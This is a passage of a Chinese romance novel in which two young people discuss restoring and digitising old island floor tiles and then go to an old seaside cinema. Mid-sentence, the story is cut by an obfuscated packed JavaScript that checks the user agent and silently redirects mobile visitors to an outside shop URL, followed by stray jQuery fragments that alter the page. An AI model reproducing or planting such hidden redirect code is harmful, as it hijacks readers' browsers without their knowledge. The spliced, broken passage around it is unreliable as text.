金翊轻笑了下,没有移开脸,直直看着陈歆韵,黑色的眼珠在白光下通透又明亮。
“不想给我看就不看,扯什么谎?”
陈歆韵躺倒在藤椅上,金翊整个上半身都压了过来,这个动作对于异性之间来说,实在有点冒昧。
金翊不是这样一个不知礼数的人,但不知道为什么从北澳回来以后,他对陈歆韵的言行举止,没有了之前的疏离,多了些亲近,更夹杂着一些偶尔突破边界的小试探。
被压着的陈歆韵有点不爽,双手撑着他的肩膀想要推开,可她哪里推得动这个石板一样的身体,于是瞪起眼睛警告他:“知道我不想给你看还凑上来,脸皮真厚。”
“嘿嘿。”金翊没有收回目光,他的眼睛又大又亮,眼珠在眼眶里流转,十分分明。
他的视线从下看到上,动作越变越缓慢,嘴角噙着淡淡的笑。
陈歆韵的耳边只有自己扑通扑通的心跳,什么蝉鸣、海浪声,甚至嘈杂的戏曲声都消失了。
不对,是真的没有戏曲声了,她才注意到,黄威龙不知何时已经不在院子里了,偌大的院子里,只剩下她和金翊。
意识到这点,她脑子轰的一下烧了起来。或许有什么正在改变,而她完全没有想过接受这种变化。
金翊长得自然是无可挑剔,温柔又通透,心地善良,胸还大,是个顾家好男人。
可他就像这片岛屿的坐标,沉淀在这座岛上的过去,她无从知晓,未来也无法离开。
而她会跟妈妈去澳洲,再去意大利完成学业,至于再远的事情她也没有想过,只是隐约觉得,总不会留在这里,这个本地年轻人都寥寥的小岛。
陈歆韵眼珠流转,羽睫低颔,把所有情绪都写在脸上。金翊一直留意着她的神情,眼见她流露出一些不愿接受的样子,他马上把身体移开,直起身来。
他若无其事地坐在藤椅的另一边,长腿撑在地上,脚轻轻助推着藤椅晃起来。
陈歆韵直起身子,把脚搭在藤椅边缘,随着金翊的动作一下又一下地摇晃。
蝉鸣的聒噪中,金翊开口道:“我也就好奇嘛,你不愿意给我看就算了。”
陈歆韵把手机按开,将那个视频展现在金翊眼前。
两人开始有一搭没一搭地聊起天来,刚才暧昧闷热的氛围消散在夏夜晚风里。
陈歆韵说:“你们拍的这些视频还挺好玩。”
“是啊。”金翊笑笑,“有些视频大家看了开心,还能带动生意。”
陈歆韵问:“是谁想出来这个办法的,还挺聪明。”
金翊的表情一僵,眼神不自在地落在手机上,手机视频界面正暂停在那个黑发女孩的笑脸上。
陈歆韵没有错过这个瞬间,她问:“是这个女生吗?我怎么在你们后来的视频里没见过她?”
金翊没多说,只道:“出国了。”
“她是谁呀?”
金翊看着手机屏,向来爽朗健谈的人,难得绷直了下巴,嘴唇张了张才说:“以前一个朋友。”
朋友,还是以前的朋友。那现在呢?现在不是朋友了吗?为什么?
陈歆韵很想问问,可直觉告诉她没有必要,便只是点了点头。
-
上午画完了最后一间客单,陈歆韵收拾好东西,想去找金翊说说提成的事。
金翊给她介绍了六个客户,根据祠堂破损程度不同,收费在八百到两千之间,客户出手都很大方,陈歆韵报价后,他们从来不会砍价,当场就直接转钱过来。
金翊到目前为止也没有收过她中介费,可陈歆韵不马虎,决定自己去跟他提这件事。
午后的小岛很安静。别墅里阳光丰盛,火球站在笼子里晒太阳,整个鸟头埋在毛茸茸的胸脯里。
院子两旁的棕榈树高大挺拔,阳光透过宽大的枝叶,在地面洒下斑驳光影。外婆难得没有出去打纸牌,躺在藤椅上,在树荫下晒太阳。
院子里花草繁茂秾艳,地面通体铺着瓷砖,薄荷绿与绛红色交织搭配,颜色清新又舒适。
空气中只有蝉鸣的嘹亮叫声。陈歆韵蹑手蹑脚地从外婆身边经过,进了屋子。
薄荷绿栅栏窗都被打开,穿堂风和明亮阳光充满了整个客厅。
陈歆韵第一次来这间别墅的时候就发现了,窗台和屋里的地板都铺满了花草纹样的砖块。
这些花草纹理繁复别致,几何纹样对称,融合了中西方多重审美,好像整个别墅上都开了花一样,万物奔放又灿烂。
绿植、小轩窗,以及各种对称式的花纹,让整座房子显得清新又典雅,陈歆韵每每穿梭其中,总感觉能闻到青木瓜的味道。
她听外婆说,金翊没事就喜欢窝在他二楼的书房里,不知道在捣鼓什么。
书房的门框被做成了复式镶嵌结构,门框同样用小花砖砌成了一条极细的翠绿色镶边。
“扣扣。”
陈歆韵轻轻敲敲木门。
“请进。”清亮好听的声音响起,陈歆韵按下门把手,推开门。
一阵穿堂风猛烈袭来,她闭了闭眼睛,而后睁开,眼前的景象让她为之一震。
比起书房,这间房子更像是工坊。房子面积很大,却不见几本书。
整间别墅只有这一间房的地面不是瓷砖,而是水泥地,水泥地上还划分出了三个区域。
左边一排排架子上放着色彩斑斓的花瓷砖,右边也堆着好几箱瓷砖,只是表面都沾着污泥,有的还碎了。
金翊坐在中间,身后是和厨房同样巨大的巴洛克风落地窗。
他拿着根小小扫把,轻轻扫着一块边角有些开裂的瓷砖。
地上还散落着其他烧制的工具。
见陈歆韵进来,他歪起一边脑袋:“什么事?”
陈歆韵还沉浸在震撼里,房子右边的墙壁上镶嵌了无数块颜色、图案各异的花砖,番薯叶藤蔓蜿蜒缠绕,花卉繁复瑰丽,几何图案交错对称,铺满了整面巨大的墙壁。
她回过神,冲金翊笑笑:“我说怎么岛上有些房子的墙都被撬了,原来是你这个小偷偷走了。”
金翊有些好笑:“这怎么叫偷?那些房子都没人住了,多来几次台风迟早没了,那多可惜。我都跟他们的主人打过招呼了。”
陈歆韵小心翼翼地托起一块还没有被清理的瓷砖:“你费这么多功夫收集整理这些是要拿去卖吗?”
金翊把工作围裙脱下来,露出领口袖口都宽松的背心,抬手敲了敲陈歆韵的脑袋:“小财迷,怎么看到什么都想着卖?这些是花砖,是非物质文化遗产。”
金翊敲得很轻,但陈歆韵还是揉了揉被他敲过的地方,装作很痛的样子,怒目瞪着他。
陈歆韵在上岛时就注意到了,岛上一些古宅墙壁上镶嵌的砖块,跟国内其他地方看到的不太一样。
这些砖块花纹繁复,色彩浓烈,就连白色都带着艳丽的质感,很有热烈又朦胧的南洋风情,没想到居然是非物质文化遗产。
金翊给她搬了个小矮凳,解释道:“花砖是早期先辈下南洋打拼,事业有成、荣归故里后带回来的一种装饰设计,本身融合了欧洲几何美学,中式纹样和东南亚热调风格多重元素,在闽粤建筑上应用广泛,浔尾也是,只是随着时间的流逝,大部分都蒙尘了。”
“所以你想把岛上破败的花砖都收集起来,整理干净?”
“嗯。”金翊点点头,“这些是我这么多年来走遍了岛上发现的。能撬起来带走的,我都尽量搜集了。”
陈歆韵默默看着满房的花砖,还有几大箱子没有整理,被整理干净的,都被金翊精心地贴在架子上。这绝对不是半吊子的功夫,是长年累月才能积攒下来的。
金翊盘腿坐着,望向右边巨大的花砖墙,像是在回忆什么:“小的时候,妈妈带我去槟城,我记得那里的花砖保存得很完整,太美了,就像是花满连城。我回来后发现岛上很多老房子也有花砖,只是大部分都已经破损了,所以我就想,要是有人把它们都修复了,肯定很好看。”
陈歆韵点点头,又问:“那你把它们修复了以后要做什么?”
金翊皱起眉头,像是在思索:“修复了就是修复了呗。”
陈歆韵又问:“你难道要再建一间房子,把这些修复的花砖贴上去吗?”
金翊的眼睛忽然亮了亮,对她露出赞许的笑:“好建议,我怎么没想到。”
……
陈歆韵翻了个白眼,真是钱多到没地方花。
她说:“你可以把这些花砖全部都录入成电子数据保存下来。欧洲很多城市都这么做的,那里文化遗产数字化很发达,可以通过云存储、AR技术、大数据这些,把纹样图案进行精度捕捉,建成非遗数据库,上传云端。”
“这样子,你就不怕这些砖块坏了,纹样也没法传承了。科技发展的好处就在这里,它能把文化永远留在电子档
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129764|196212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,即使实物会损坏,我们也可以照着数据,再把它复原出来。”
陈歆韵一口气说完,朝金翊粲然一笑。
笑容天真又明亮,说这些话的时候,整个人像会发光。
金翊呼吸一滞,张张嘴,没说出话来。注意到金翊的眼神,陈歆韵又低下头:“你这里的确是没有那些高科技,不过你可以用数位板把它画下来。”
金翊挠了挠脑袋,苦笑道:“可这是个大工程,我退休的时候再做吧。”
陈歆韵冲他摇摇头:“那得等到什么时候?每天画一点,日积月累的,不出一两年就画完了。这些花纹还有审美都这么好看,根本不输欧洲那些建筑上的艺术花纹,不记录下来太可惜了。”
金翊还是有点为难:“公司里的事还挺多的,我每天也很忙。”
陈歆韵有点疑惑,他看起来很忙吗?不过她没细想,转头跟金翊说:“挤挤时间就可以了,要不我先帮你画一段时间?”
金翊马上点点头:“好,那我们两个一起画。”
“那你和阿嬷就先别回去了,这段时间都住我这里,方便画画。”
陈歆韵点点头,不疑有他:“行。”
她说完就打算去拿数位板,完全忘记要跟金翊讲提成的事情了。
金翊抓住她的手。
“什么事?”陈歆韵问。
金翊把衣架上的工装服穿上,语气自然而然,内容却特别突兀:“我带你去看电影吧。去吗?”
……
什么意思?他横冲直撞的,一下把陈歆韵昨天做的心理建设撞地稀巴烂。陈歆韵想拒绝,却迟迟说不出口。
她指尖卷了卷头发:“最近没上什么好看的电影啊。”
金翊摇摇头:“我知道一家电影院,可以指定电影。”
“私人电影院吗?”
陈歆韵皱着眉,觉得不太好,金翊不是会做出这么冒犯的事情的人。
金翊又摇了摇头:“公共电影院,大家都可以来的,你想去看吗?”
他的重点一直在“你想不想”上。
陈歆韵没回答,金翊一直注意她的表情,随后他笑了笑,把房门打开,跟陈歆韵说:“走吧,我挺想看的。”
陈歆韵一咬嘴唇,跟在了他后面。
鉴于金翊现在还是残障人士,边三轮还是由陈歆韵开,在他的指挥下,二人离东边的海越来越近,最后驶上了滨海公路。
电影院不该建在商业区吗?怎么会在海边?这里除了鸟就是石头的。
刚这么想着,陈歆韵眼前就出现了一栋很有六七十年代感的骑楼。
骑楼绿漆斑驳,门眉上同样剥落的红漆写着“海员俱乐部”几个大字。
在金翊指路下,陈歆韵把车停到房子前,才发现旁边还有一栋比较新的建筑,上面写着“东厝村老人之家”几个字。
几个大爷大妈正在服务中心门口打乒乓球。
陈歆韵没怎么来过东边,金翊倒是熟门熟路。大爷大妈们看到他走近,都很热情地挥手。
“小翊又来这里看电影啊?”
“这次带女朋友来呀?”
两人有礼貌地同他们打招呼,快步又尴尬地在那群大爷大妈一阵哄笑里进了骑楼。
看内部装潢,这明显是上个世纪的老电影院,排排座椅已经被拆除了,昔日热闹沸腾的大公社集会变得落寞泛黄,光影里漂浮着往昔的烟尘。
电影院中央区域放着几组全新的皮质沙发,最上头的正中央有一块崭新的巨大白色幕布。
不用猜都知道是谁的东西。
金翊从墙边的储物箱里拿出一个投影仪,边调整设备边问陈歆韵:“你有什么想看的吗?”
这时有个大妈进来了,一手端着水果,一手拿着个红色的四格塑料盘子。
陈歆韵乖巧地道了声谢,大妈连声说好就转身离开,走时还慈爱又八卦地一步三回头看他们。
陈歆韵看着糖果盘,其中一格里装着那种小时候吃过的喜糖,大红色的包装上写着一个繁体喜字。
金翊边翻手机上的电影推荐,边说:“看泰坦尼克号怎么样,评分好高,我都没看过。”
陈歆韵马上说:“不行。”
她的反应很激烈,金翊有些疑惑:“你看过吗?不好看吗?”
陈歆韵不知道该怎么回答,泰坦尼克号这种片子,跟前男友一起看过了,还能跟别的男人看吗?